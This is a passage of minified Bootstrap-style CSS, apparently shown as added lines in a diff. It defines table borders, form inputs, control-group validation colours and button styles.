tbody:last-child tr:last-child>td:first-child,.table-bordered tfoot:last-child tr:last-child>td:first-child{-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} +.table-bordered thead:last-child tr:last-child>th:last-child,.table-bordered tbody:last-child tr:last-child>td:last-child,.table-bordered tfoot:last-child tr:last-child>td:last-child{-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;} +.table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;-moz-border-radius-bottomleft:0;border-bottom-left-radius:0;} +.table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;-moz-border-radius-bottomright:0;border-bottom-right-radius:0;} +.table-bordered caption+thead tr:first-child th:first-child,.table-bordered caption+tbody tr:first-child td:first-child,.table-bordered colgroup+thead tr:first-child th:first-child,.table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;} +.table-bordered caption+thead tr:first-child th:last-child,.table-bordered caption+tbody tr:first-child td:last-child,.table-bordered colgroup+thead tr:first-child th:last-child,.table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;} +.table-striped tbody>tr:nth-child(odd)>td,.table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9;} +.table-hover tbody tr:hover td,.table-hover tbody tr:hover th{background-color:#f5f5f5;} +table td[class*="span"],table th[class*="span"],.row-fluid table td[class*="span"],.row-fluid table th[class*="span"]{display:table-cell;float:none;margin-left:0;} +.table td.span1,.table th.span1{float:none;width:44px;margin-left:0;} +.table td.span2,.table th.span2{float:none;width:124px;margin-left:0;} +.table td.span3,.table th.span3{float:none;width:204px;margin-left:0;} +.table td.span4,.table th.span4{float:none;width:284px;margin-left:0;} +.table td.span5,.table th.span5{float:none;width:364px;margin-left:0;} +.table td.span6,.table th.span6{float:none;width:444px;margin-left:0;} +.table td.span7,.table th.span7{float:none;width:524px;margin-left:0;} +.table td.span8,.table th.span8{float:none;width:604px;margin-left:0;} +.table td.span9,.table th.span9{float:none;width:684px;margin-left:0;} +.table td.span10,.table th.span10{float:none;width:764px;margin-left:0;} +.table td.span11,.table th.span11{float:none;width:844px;margin-left:0;} +.table td.span12,.table th.span12{float:none;width:924px;margin-left:0;} +.table tbody tr.success td{background-color:#dff0d8;} +.table tbody tr.error td{background-color:#f2dede;} +.table tbody tr.warning td{background-color:#fcf8e3;} +.table tbody tr.info td{background-color:#d9edf7;} +.table-hover tbody tr.success:hover td{background-color:#d0e9c6;} +.table-hover tbody tr.error:hover td{background-color:#ebcccc;} +.table-hover tbody tr.warning:hover td{background-color:#faf2cc;} +.table-hover tbody tr.info:hover td{background-color:#c4e3f3;} +form{margin:0 0 20px;} +fieldset{padding:0;margin:0;border:0;} +legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333333;border:0;border-bottom:1px solid #e5e5e5;}legend small{font-size:15px;color:#999999;} +label,input,button,select,textarea{font-size:14px;font-weight:normal;line-height:20px;} +input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;} +label{display:block;margin-bottom:5px;} +select,textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555555;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;vertical-align:middle;} +input,textarea,.uneditable-input{width:206px;} +textarea{height:auto;} +textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{background-color:#ffffff;border:1px solid #cccccc;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear .2s, box-shadow linear .2s;-moz-transition:border linear .2s, box-shadow linear .2s;-o-transition:border linear .2s, box-shadow linear .2s;transition:border linear .2s, box-shadow linear .2s;}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82, 168, 236, 0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6);} +input[type="radio"],input[type="checkbox"]{margin:4px 0 0;*margin-top:0;margin-top:1px \9;line-height:normal;} +input[type="file"],input[type="image"],input[type="submit"],input[type="reset"],input[type="button"],input[type="radio"],input[type="checkbox"]{width:auto;} +select,input[type="file"]{height:30px;*margin-top:4px;line-height:30px;} +select{width:220px;border:1px solid #cccccc;background-color:#ffffff;} +select[multiple],select[size]{height:auto;} +select:focus,input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +.uneditable-input,.uneditable-textarea{color:#999999;background-color:#fcfcfc;border-color:#cccccc;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} +.uneditable-input{overflow:hidden;white-space:nowrap;} +.uneditable-textarea{width:auto;height:auto;} +input:-moz-placeholder,textarea:-moz-placeholder{color:#999999;} +input:-ms-input-placeholder,textarea:-ms-input-placeholder{color:#999999;} +input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#999999;} +.radio,.checkbox{min-height:20px;padding-left:20px;} +.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-20px;} +.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px;} +.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle;} +.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px;} +.input-mini{width:60px;} +.input-small{width:90px;} +.input-medium{width:150px;} +.input-large{width:210px;} +.input-xlarge{width:270px;} +.input-xxlarge{width:530px;} +input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"]{float:none;margin-left:0;} +.input-append input[class*="span"],.input-append .uneditable-input[class*="span"],.input-prepend input[class*="span"],.input-prepend .uneditable-input[class*="span"],.row-fluid input[class*="span"],.row-fluid select[class*="span"],.row-fluid textarea[class*="span"],.row-fluid .uneditable-input[class*="span"],.row-fluid .input-prepend [class*="span"],.row-fluid .input-append [class*="span"]{display:inline-block;} +input,textarea,.uneditable-input{margin-left:0;} +.controls-row [class*="span"]+[class*="span"]{margin-left:20px;} +input.span12, textarea.span12, .uneditable-input.span12{width:926px;} +input.span11, textarea.span11, .uneditable-input.span11{width:846px;} +input.span10, textarea.span10, .uneditable-input.span10{width:766px;} +input.span9, textarea.span9, .uneditable-input.span9{width:686px;} +input.span8, textarea.span8, .uneditable-input.span8{width:606px;} +input.span7, textarea.span7, .uneditable-input.span7{width:526px;} +input.span6, textarea.span6, .uneditable-input.span6{width:446px;} +input.span5, textarea.span5, .uneditable-input.span5{width:366px;} +input.span4, textarea.span4, .uneditable-input.span4{width:286px;} +input.span3, textarea.span3, .uneditable-input.span3{width:206px;} +input.span2, textarea.span2, .uneditable-input.span2{width:126px;} +input.span1, textarea.span1, .uneditable-input.span1{width:46px;} +.controls-row{*zoom:1;}.controls-row:before,.controls-row:after{display:table;content:"";line-height:0;} +.controls-row:after{clear:both;} +.controls-row [class*="span"],.row-fluid .controls-row [class*="span"]{float:left;} +.controls-row .checkbox[class*="span"],.controls-row .radio[class*="span"]{padding-top:5px;} +input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{cursor:not-allowed;background-color:#eeeeee;} +input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"][readonly],input[type="checkbox"][readonly]{background-color:transparent;} +.control-group.warning .control-label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853;} +.control-group.warning .checkbox,.control-group.warning .radio,.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;} +.control-group.warning input,.control-group.warning select,.control-group.warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;} +.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853;} +.control-group.error .control-label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48;} +.control-group.error .checkbox,.control-group.error .radio,.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;} +.control-group.error input,.control-group.error select,.control-group.error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;} +.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48;} +.control-group.success .control-label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847;} +.control-group.success .checkbox,.control-group.success .radio,.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;} +.control-group.success input,.control-group.success select,.control-group.success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;} +.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847;} +.control-group.info .control-label,.control-group.info .help-block,.control-group.info .help-inline{color:#3a87ad;} +.control-group.info .checkbox,.control-group.info .radio,.control-group.info input,.control-group.info select,.control-group.info textarea{color:#3a87ad;} +.control-group.info input,.control-group.info select,.control-group.info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.info input:focus,.control-group.info select:focus,.control-group.info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;} +.control-group.info .input-prepend .add-on,.control-group.info .input-append .add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad;} +input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b;}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} +.form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1;}.form-actions:before,.form-actions:after{display:table;content:"";line-height:0;} +.form-actions:after{clear:both;} +.help-block,.help-inline{color:#595959;} +.help-block{display:block;margin-bottom:10px;} +.help-inline{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding-left:5px;} +.input-append,.input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap;}.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input,.input-append .dropdown-menu,.input-prepend .dropdown-menu{font-size:14px;} +.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}.input-append input:focus,.input-prepend input:focus,.input-append select:focus,.input-prepend select:focus,.input-append .uneditable-input:focus,.input-prepend .uneditable-input:focus{z-index:2;} +.input-append .add-on,.input-prepend .add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #ccc;} +.input-append .add-on,.input-prepend .add-on,.input-append .btn,.input-prepend .btn,.input-append .btn-group>.dropdown-toggle,.input-prepend .btn-group>.dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.input-append .active,.input-prepend .active{background-color:#a9dba9;border-color:#46a546;} +.input-prepend .add-on,.input-prepend .btn{margin-right:-1px;} +.input-prepend .add-on:first-child,.input-prepend .btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;} +.input-append input,.input-append select,.input-append .uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;}.input-append input+.btn-group .btn:last-child,.input-append select+.btn-group .btn:last-child,.input-append .uneditable-input+.btn-group .btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.input-append .add-on,.input-append .btn,.input-append .btn-group{margin-left:-1px;} +.input-append .add-on:last-child,.input-append .btn:last-child,.input-append .btn-group:last-child>.dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.input-prepend.input-append input,.input-prepend.input-append select,.input-prepend.input-append .uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}.input-prepend.input-append input+.btn-group .btn,.input-prepend.input-append select+.btn-group .btn,.input-prepend.input-append .uneditable-input+.btn-group .btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.input-prepend.input-append .add-on:first-child,.input-prepend.input-append .btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;} +.input-prepend.input-append .add-on:last-child,.input-prepend.input-append .btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.input-prepend.input-append .btn-group:first-child{margin-left:0;} +input.search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;} +.form-search .input-append .search-query,.form-search .input-prepend .search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.form-search .input-append .search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px;} +.form-search .input-append .btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0;} +.form-search .input-prepend .search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0;} +.form-search .input-prepend .btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px;} +.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input,.form-search .input-prepend,.form-inline .input-prepend,.form-horizontal .input-prepend,.form-search .input-append,.form-inline .input-append,.form-horizontal .input-append{display:inline-block;*display:inline;*zoom:1;margin-bottom:0;vertical-align:middle;} +.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none;} +.form-search label,.form-inline label,.form-search .btn-group,.form-inline .btn-group{display:inline-block;} +.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{margin-bottom:0;} +.form-search .radio,.form-search .checkbox,.form-inline .radio,.form-inline .checkbox{padding-left:0;margin-bottom:0;vertical-align:middle;} +.form-search .radio input[type="radio"],.form-search .checkbox input[type="checkbox"],.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0;} +.control-group{margin-bottom:10px;} +legend+.control-group{margin-top:20px;-webkit-margin-top-collapse:separate;} +.form-horizontal .control-group{margin-bottom:20px;*zoom:1;}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:"";line-height:0;} +.form-horizontal .control-group:after{clear:both;} +.form-horizontal .control-label{float:left;width:160px;padding-top:5px;text-align:right;} +.form-horizontal .controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0;}.form-horizontal .controls:first-child{*padding-left:180px;} +.form-horizontal .help-block{margin-bottom:0;} +.form-horizontal input+.help-block,.form-horizontal select+.help-block,.form-horizontal textarea+.help-block,.form-horizontal .uneditable-input+.help-block,.form-horizontal .input-prepend+.help-block,.form-horizontal .input-append+.help-block{margin-top:10px;} +.form-horizontal .form-actions{padding-left:180px;} +.btn{display:inline-block;*display:inline;*zoom:1;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;text-align:center;vertical-align:middle;cursor:pointer;color:#333333;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);background-color:#f5f5f5;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(to bottom, #ffffff, #e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#e6e6e6;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border:1px solid #bbbbbb;*border:0;border-bottom-color:#a2a2a2;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*margin-left:.3em;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);}.btn:hover,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333333;background-color:#e6e6e6;*background-color:#d9d9d9;} +.btn:active,.btn.active{background-color:#cccccc \9;} +.btn:first-child{*margin-left:0;} +.btn:hover{color:#333333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear;} +.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);} +.btn.disabled,.btn[disabled]{cursor:default;background-image:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +.btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.btn-large [class^="icon-"],.btn-large [class*=" icon-"]{margin-top:4px;} +.btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +.btn-small [class^="icon-"],.btn-small [class*=" icon-"]{margin-top:0;} +.btn-mini [class^="icon-"],.btn-mini [class*=" icon-"]{margin-top:-1px;} +.btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +.btn-block{display:block;width:100%;padding-left:0;padding-right:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;} +.btn-block+.btn-block{margin-top:5px;} +input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%;} +.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-inverse.active{color:rgba(255, 255, 255, 0.75);} +.btn{border-color:#c5c5c5;border-color:rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.25);} +.btn-primary{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#006dcc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(to bottom, #0088cc, #0044cc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#0044cc;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-primary:hover,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{color:#ffffff;background-color:#0044cc;*background-color:#003bb3;} +.btn-primary:active,.btn-primary.active{background-color:#003399 \9;} +.btn-warning{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#f89406;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-warning:hover,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{color:#ffffff;background-color:#f89406;*background-color:#df8505;} +.btn-warning:active,.btn-warning.active{background-color:#c67605 \9;} +.btn-danger{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#da4f49;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(to bottom, #ee5f5b, #bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffbd362f', GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#bd362f;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-danger:hover,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{color:#ffffff;background-color:#bd362f;*background-color:#a9302a;} +.btn-danger:active,.btn-danger.active{background-color:#942a25 \9;} +.btn-success{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#5bb75b;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(to bottom, #62c462, #51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#51a351;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-success:hover,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{color:#ffffff;background-color:#51a351;*background-color:#499249;} +.btn-success:active,.btn-success.active{background-color:#408140 \9;} +.btn-info{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#49afcd;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(to bottom, #5bc0de, #2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f96b4', GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#2f96b4;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-info:hover,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{color:#ffffff;background-color:#2f96b4;*background-color:#2a85a0;} +.btn-info:active,.btn-info.active{background-color:#24748c \9;} +.btn-inverse{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#363636;background-image:-moz-linear-gradient(top, #444444, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222));background-image:-webkit-linear-gradient(top, #444444, #222222);background-image:-o-linear-gradient(top, #444444, #222222);background-image:linear-gradient(to bottom, #444444, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff222222', GradientType=0);border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#222222;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-inverse:hover,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{color:#ffffff;background-color:#222222;*background-color:#151515;} +.btn-inverse:active,.btn-inverse.active{background-color:#080808 \9;} +button.btn,input[type="submit"].btn{*padding-top:3px;*padding-bottom:3px;}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0;} +button.btn.btn-large,input[type="submit"].btn.btn-large{*padding-top:7px;*padding-bottom:7px;} +button.btn.btn-small,input[type="submit"].btn.btn-small{*padding-top:3px;*padding-bottom:3px;} +button.btn.btn-mini,input[type="submit"].btn.btn-mini{*padding-top:1px;*padding-bottom:1px;} +.btn-link,.btn-link:active,.btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} 